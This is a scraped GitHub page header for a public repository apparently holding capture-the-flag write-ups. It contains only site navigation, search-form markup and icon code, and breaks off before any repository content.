<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="267159226" data-scoped-search-url="/PWN-to-0xE4/Writeups/search" data-owner-scoped-search-url="/orgs/PWN-to-0xE4/search" data-unscoped-search-url="/search" data-turbo="false" action="/PWN-to-0xE4/Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="foB5jYRKlhZEDDsoGG1EHZRik4x5JCBZXK79/1Lfv6BXZgpnPmwFVM62Wi+CTbbe1U9zGqNuTNEoNWgNeeO0/w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> PWN-to-0xE4 </span> <span>/</span> Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>10</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment 